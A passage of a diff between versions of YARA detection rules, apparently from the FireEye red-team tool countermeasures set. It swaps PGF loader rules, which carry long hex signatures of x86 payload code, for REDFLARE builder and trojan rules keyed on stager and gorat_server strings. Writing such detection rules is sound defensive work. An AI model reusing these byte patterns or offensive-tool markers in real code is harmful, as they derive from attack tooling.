FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 } + $1 = "/RedFlare/gorat_server" + $2 = "RedFlare/sandals" + $3 = "goratsvr.CommandResponse" fullword + $4 = "goratsvr.CommandRequest" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them + ( uint32( 0 ) == 0x464c457f ) and all of them } -rule FIREEYE_RT_APT_Loader_Win_PGF_1 : FILE +rule FIREEYE_RT_APT_Builder_PY_REDFLARE_1 { meta: - description = "PDB string used in some PGF DLL samples" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "14e2102c-3572-5314-999c-ff3f6c94de03" - date = "2020-12-08" - modified = "2024-03-04" + id = "3b5ad25d-ce66-572e-9a91-40a73b8fd447" + date = "2020-11-27" + date = "2020-11-27" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Builder_PY_REDFLARE_1.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "013c7708f1343d684e3571453261b586" - logic_hash = "9dede268d33a38e980026917bd01bc47a72bfe60ba4a999c91eb727a2f377462" + hash = "d0a830403e56ebaa4bfbe87dbfdee44f" + logic_hash = "1948cadb7242eb69bffbc222802ce9c1af38d7a846da09b6343b1449fe054e42" score = 75 - quality = 48 - tags = "FILE" - rev = 6 + quality = 75 + tags = "" + rev = 1 strings: - $pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase - $pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\\Release\\DllSource\.pdb\x00/ nocase - $pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase + $1 = "LOAD_OFFSET_32 = 0x612" + $2 = "LOAD_OFFSET_64 = 0x611" + $3 = "class RC4:" + $4 = "struct.pack('<Q' if is64b else '<L'" + $5 = "stagerConfig['comms']['config']" + $6 = "_x86.dll" + $7 = "_x64.dll" condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and any of them + all of them and @1 [ 1 ] < @2 [ 1 ] and @2 [ 1 ] < @3 [ 1 ] and @3 [ 1 ] < @4 [ 1 ] and @4 [ 1 ] < @5 [ 1 ] } -rule FIREEYE_RT_APT_Loader_Win32_PGF_3 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_8 : FILE { meta: - description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "adf91482-6e04-5d11-bc00-4b1c7a802c49" - date = "2020-12-08" + id = "b090df60-8f4e-51ca-944c-6f9ce2d9c913" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_3.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_8.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4414953fa397a41156f6fa4f9462d207" - logic_hash = "24d2caad1d740ccbff0cf111a05ecad20ed06f311d530d8de86050d916da32ce" + hash = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c" + logic_hash = "5b8a0402886daebefb995e7df0877d51727c5b8dc58eeb8ff16ceec5e7811a20" score = 75 quality = 75 tags = "FILE" - rev = 4 + rev = 1 strings: - $cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 } - $cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 } - $cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 } - $cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 } - $cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 